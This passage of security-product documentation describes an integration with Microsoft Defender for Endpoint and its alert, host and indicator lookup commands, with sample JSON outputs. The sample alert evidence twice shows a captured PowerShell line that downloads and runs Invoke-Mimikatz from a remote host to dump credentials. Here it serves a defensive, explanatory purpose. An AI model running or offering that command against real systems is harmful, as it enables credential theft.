"computerDnsName": "***-***.***",
"rbacGroupName": null,
"aadTenantId": "*****",
"threatName": null,
"mitreTechniques": [
"***.***"
],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Eddie_Test",
"createdBy": "Automation",
"createdTime": "2021-04-19T22:03:52.0639327Z"
}
],
"evidence": [
{
"entityType": "User",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": ***,
"sha256": ***,
"fileName": ***,
"filePath": ***,
"processId": ***,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": ***,
"parentProcessCreationTime": null,
"parentProcessFileName": ***,
"parentProcessFilePath": ***,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "***",
"userSid": "*******,
"aadUserId": *****,
"userPrincipalName": *****,
"detectionStatus": null
},
{
"entityType": "Process",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": "***",
"sha256": "***",
"fileName": "***.exe",
"filePath": "C:\\Windows\\***\\***\\v*.*",
"processId": ***,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***/***.ps1'); Invoke-Mimikatz -DumpCreds \" >c:\\windows\\***.txt",
"processCreationTime": "2021-04-09T23:50:46.9640874Z",
"parentProcessId": 11424,
"parentProcessCreationTime": "2021-04-09T23:50:40.9549431Z",
"parentProcessFileName": "***.exe",
"parentProcessFilePath": "C:\\Users\\***\\***",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "*****",
"userSid": "*****",
"aadUserId": *****,
"userPrincipalName": *****,
"detectionStatus": "Detected"
}
]
}
]
}
Context Data
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
SAMPLE DATA
CODE
[
{
"id": "*****",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "Administrator",
"severity": "Medium",
"status": "New",
"classification": null,
"determination": null,
"investigationState": "UnsupportedAlertType",
"detectionSource": "WindowsDefenderAtp",
"detectorId": "*****",
"category": "Execution",
"threatFamilyName": null,
"title": "Suspicious PowerShell command line",
"description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
"alertCreationTime": "2021-04-10T00:09:06.455105Z",
"firstEventTime": "2021-04-09T23:50:47.0400904Z",
"lastEventTime": "2021-04-09T23:50:47.0400904Z",
"lastUpdateTime": "2021-04-19T22:03:52.0666667Z",
"resolvedTime": null,
"machineId": "*****",
"computerDnsName": "***.***.***",
"rbacGroupName": null,
"aadTenantId": "*****",
"threatName": null,
"mitreTechniques": [
"***.***"
],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Eddie_Test",
"createdBy": "Automation",
"createdTime": "2021-04-19T22:03:52.0639327Z"
}
],
"evidence": [
{
"entityType": "User",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": *******,
"sha256": *******,
"fileName": *****,
"filePath": *******,
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": *******,
"parentProcessCreationTime": null,
"parentProcessFileName": *******,
"parentProcessFilePath": *******,
"ipAddress": *******,
"url": null,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "***",
"userSid": "*****",
"aadUserId": *******,
"userPrincipalName": ***,
"detectionStatus": null
},
{
"entityType": "Process",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": "*****",
"sha256": "*****",
"fileName": "***.exe",
"filePath": "C:\\Windows\\***\\***\\v*.*",
"processId": 1856,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds \" >c:\\windows\\out2.txt",
"processCreationTime": "2021-04-09T23:50:46.9640874Z",
"parentProcessId": 11424,
"parentProcessCreationTime": "2021-04-09T23:50:40.9549431Z",
"parentProcessFileName": "***.exe",
"parentProcessFilePath": "C:\\Users\\***\\***",
"ipAddress": null,
"url": null,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "***",
"userSid": "*****",
"aadUserId": *******,
"userPrincipalName": ***,
"detectionStatus": "Detected"
}
]
}
]
Key Fields
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"Alert Ids": [
"*****"
]
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
***
INCIDENTID
***
INVESTIGATIONID
ASSIGNEDTO
Administrator
SEVERITY
Medium
STATUS
New
CLASSIFICATION
DETERMINATION
INVESTIGATIONSTATE
UnsupportedAlertType
DETECTIONSOURCE
WindowsDefenderAtp
DETECTORID
***
CATEGORY
Execution
THREATFAMILYNAME
TITLE
Suspicious PowerShell command line
DESCRIPTION
A suspicious PowerShell activity was observed on the machine. This behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Fetch Related Events failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The query specified in the URI is not valid
Error Sample Data
Fetch Related Events failed.
Status Code: 400.
Message: The query specified in the URI is not valid.
Get Alerts By ID
Retrieves alerts from Microsoft Defender for Endpoint based on the specified Alert IDs.
READER NOTE
Limitations for this command:
You can get alerts last updated according to your configured retention period.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The parameter Alert IDs is required to run this command.
Run the Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Related Event command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.
Input
Input Parameter
Required /Optional
Description
Example
Alert IDs
Required
The IDs of the alerts to retrieve. Alert IDs can be obtained using the Fetch Related Events command.
["*****"]
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 enriches the context data from the original Microsoft Defender for Endpoint API response by adding the mitreTechniqueList field whose value is a string converted from the mitreTechniques array using the comma character as a delimiter.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"AlertIDs": [
"*****"
],
"Severities": [
"Low"
],
"Statuses": [
"New"
],
"DetectionSources": [
"WindowsDefenderAtp"
],
"Categories": [
"Discovery"
],
"Titles": [
"Suspicious sequence of exploration activities"
],
"Descriptions": [
"A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine."
],
"AlertCreationTime": [
"2021-08-12 00:09:19"
],
"FirstEventTime": [
"2021-08-12 00:05:29"
],
"LastEventTime": [
"2021-08-12 00:06:28"
],
"MachineIDs": [
"*****"
],
"ComputerDnsNames": [
"***.***.***"
],
"UserNames": [
"user1"
],
"UserDomainNames": [
"*****"
],
"ThreatNames": [
"None"
]
}
Result
Provides a brief summary of outputs in an HTML formatted table.
A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Alerts By ID failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Error Sample Data
Get Alerts By ID failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Get File Related Alerts
Retrieves alerts from Microsoft Defender for Endpoint related to the specified file hashes.
READER NOTE
The parameter File Hashes is required to run this command.
You should already have your desired file hashes on hand to run this command. If you don’t, you may use the Fetch Related Events command with defined filters to retrieve the desired file hashes. The file hash values can be found in the raw data under the key “sha1”.
Limitations for this command:
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Only the SHA-1 hash function is supported (no support for MD5 or SHA-256).
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
SAMPLE DATA
CODE
[
{
"id": "*****",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "Automation",
"severity": "Informational",
"status": "Resolved",
"classification": null,
"determination": null,
"investigationState": "SuccessfullyRemediated",
"detectionSource": "WindowsDefenderAv",
"detectorId": "*****",
"category": "Malware",
"threatFamilyName": "Skeeyah",
"title": "'Skeeyah' malware was prevented",
"description": "Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.\n\nThis detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.",
"alertCreationTime": "2021-06-03T01:18:07.9677394Z",
"firstEventTime": "2021-06-03T00:10:50.6508615Z",
"lastEventTime": "2021-06-03T01:18:47.5046367Z",
"lastUpdateTime": "2021-06-03T07:03:34.3866667Z",
"resolvedTime": "2021-06-03T01:47:10.6966922Z",
"machineId": "*****",
"computerDnsName": "***-***.***.***",
"rbacGroupName": null,
"aadTenantId": "*****",
"threatName": "Trojan:Win32/Skeeyah!MTB",
"mitreTechniques": [],
"relatedUser": null,
"comments": [],
"evidence": [
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:34:25.3033333Z",
"sha1": "*****",
"sha256": "*****",
"fileName": "***.zip",
"filePath": "C:\\Users\\***\\***",
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": *****,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": "***",
"domainName": "***",
"userSid": "*****",
"aadUserId": null,
"userPrincipalName": "***@***.***,
"detectionStatus": "Prevented"
},
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:31:35.3266667Z",
"sha1": "*****",
"sha256": null,
"fileName": "T1055.exe",
"filePath": "C:\\Users\\***\\***\\***\\***\\***\\***",
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": *****,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": "***",
"domainName": "***",
"userSid": "*****",
"aadUserId": null,
"userPrincipalName": "***@***.***",
"detectionStatus": "Detected"
},
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:18:08.05Z",
"sha1": "*****",
"sha256": "*****",
"fileName": "***.exe",
"filePath": "C:\\Users\\***\\***\\***",
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": null,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": ***,
"detectionStatus": "Prevented"
}
],
"fileHash": "*****"
}
]
Key Fields
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"AlertIDs": [
"*****"
],
"Severities": [
"Informational"
],
"Statuses": [
"Resolved"
],
"DetectionSources": [
"WindowsDefenderAv"
],
"Categories": [
"Malware"
],
"Titles": [
"'Skeeyah' malware was prevented"
],
"Descriptions": [
"Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.\n\nThis detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection."
],
"AlertCreationTime": [
"2021-06-03 01:18:07"
],
"FirstEventTime": [
"2021-06-03 00:10:50"
],
"LastEventTime": [
"2021-06-03 01:18:47"
],
"MachineIDs": "\"*******\"]",
"ComputerDnsNames": [
"***.***.***"
],
"UserNames": [],
"UserDomainNames": [],
"ThreatNames": [
"Trojan:Win32/Skeeyah!MTB"
]
}
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
***
INCIDENTID
***
INVESTIGATIONID
***
ASSIGNEDTO
Automation
SEVERITY
Informational
STATUS
Resolved
CLASSIFICATION
DETERMINATION
INVESTIGATIONSTATE
SuccessfullyRemediated
DETECTIONSOURCE
WindowsDefenderAv
DETECTORID
***
CATEGORY
Malware
THREATFAMILYNAME
Skeeyah
TITLE
Skeeyah' malware was prevented
DESCRIPTION
Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks. This detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get File Related Alerts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Error Sample Data
Get File Related Alerts failed.
Status Code: 400.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Get Host By Hashes
Retrieves a collection of machines related to the specified file hashes.
READER NOTE
The parameter File Hashes is required to run this command.
You should already have your desired file hashes on hand to run this command. If you don’t, you may use the Fetch Related Events command with defined filters to retrieve the desired file hashes. The file hash values can be found in the raw data under the key “sha1”.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Only the SHA-1 hash function is supported (no support for MD5 or SHA-256).
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
No sample data
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host By Hashes failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Error Sample Data
Get Host By Hashes failed.
Status Code: 400.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Get Host By IP
Finds Machines seen with the requested internal IP in the time range of 15 minutes prior and after a given timestamp.
READER NOTE
The parameter IP Addresses is required to run this command.
Run the List Hosts command to obtain IP Addresses. The IP Addresses value can be found in raw data at the path $.value[*].lastIpAddress. Please note that IP addresses will only return when the value of the “healthStatus” field is active inside the JSON object. If you input other IP addresses, the command will run successfully with no returning results.
Limitations for this command:
The given timestamp must be in the past 30 days.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The IP addresses to search related hosts by. IP addresses can be obtained using the List Hosts command.
["***.***.***.***"]
Timestamp
Required
The timestamp in UTC time to filter results. Machines seen with the input IP addresses after the defined timestamp will be returned. Note: The defined timestamp must be within 30 days before the current date.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host By IP failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: XXX is not valid IP.
Error Sample Data
Get Host By IP failed.
Status Code: 400.
Message: XXX is not valid IP.
Get Host By User
Retrieves Machines related to the specified user names.
READER NOTE
The parameter User Names is required to run this command.
Run the Get Machine Logon Users command to obtain User Names. User Names can be found in the returned raw data at the path $.value[*].accountName.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host By User failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: No HTTP resource was found that matches the request URI.
Error Sample Data
Get Host By User failed.
Status Code: 404.
Message: No HTTP resource was found that matches the request URI.
Get Host Details
Retrieves Machines related to the specified device IDs or computer names.
READER NOTE
The parameter Hosts is required to run this command.
Run the List Hosts command to obtain Machine IDs. Machine IDs can be found in the returned raw data at the path $.value[*].id.
Limitations for this command:
You can get devices last seen according to your configured retention policy.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"Machine Ids": [
"*****",
"*****"
]
}
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@ODATA.CONTEXT
https://api.***.com/api/***
https://api.***.com/***
ID
***
***
COMPUTERDNSNAME
***-***-***
***-***-***
FIRSTSEEN
7/21/2020 10:27:25 PM
7/21/2020 10:21:05 PM
LASTSEEN
7/31/2020 6:57:40 AM
7/21/2020 10:21:16 PM
OSPLATFORM
WindowsServer2019
WindowsServer2019
OSVERSION
OSPROCESSOR
***
***
VERSION
LASTIPADDRESS
***.***.***.***
***.***.***.**
LASTEXTERNALIPADDRESS
***.***.***.**
***.***.***.**
AGENTVERSION
***.***.***.**
***.***.***.**
OSBUILD
*****
*****
HEALTHSTATUS
Active
Inactive
DEVICEVALUE
Normal
Normal
RBACGROUPID
0
0
RBACGROUPNAME
RISKSCORE
High
None
EXPOSURELEVEL
Medium
Medium
AADDEVICEID
MACHINETAGS
[]
[]
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host Details failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Machine XXX was not found.
Error Sample Data
Get Host Details failed.
Status Code: 404.
Message: Machine XXX was not found.
Get Indicator By ID
Retrieves the specified indicators by Indicator IDs.
READER NOTE
The parameter Indicator IDs is required to run this command.
Run the List Indicator command to obtain Indicator IDs. The Indicator IDs can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"*****"
]
}
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@ODATA.CONTEXT
https://api.***.com/api/***
ID
***
INDICATORVALUE
***
INDICATORTYPE
FileSha1
ACTION
AlertAndBlock
CREATEDBY
***
SEVERITY
Informational
CATEGORY
1
APPLICATION
demo-test
EDUCATEURL
BYPASSDURATIONHOURS
TITLE
test
DESCRIPTION
test
RECOMMENDEDACTIONS
nothing
CREATIONTIMEDATETIMEUTC
4/15/2021 5:45:47 PM
EXPIRATIONTIME
12/12/2022 12:00:00 AM
LASTUPDATETIME
4/15/2021 9:29:30 PM
LASTUPDATEDBY
*****
RBACGROUPNAMES
[]
RBACGROUPIDS
[]
NOTIFICATIONID
NOTIFICATIONBODY
VERSION
MITRETECHNIQUES
[]
HISTORICALDETECTION
FALSE
LOOKBACKPERIOD
GENERATEALERT
TRUE
ADDITIONALINFO
CREATEDBYDISPLAYNAME
d3cyebr
EXTERNALID
CREATEDBYSOURCE
PublicApi
CERTIFICATEINFO
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get indicator By ID failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Indicator 14 was not found.
Error Sample Data
Get indicator By ID failed.
Status Code: 404.
Message: Indicator 14 was not found.
Get Live Response Results
Retrieves the specific live response command result(s). Please note, this command applies to Microsoft Defender for Endpoint Plan 1 and Plan 2.
READER NOTE
The parameter Machine Action IDs is required to run this command.
Run the Run Live Response Command command to obtain Machine Action IDs. The Machine Action IDs can be found in the raw data at the path $.results[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
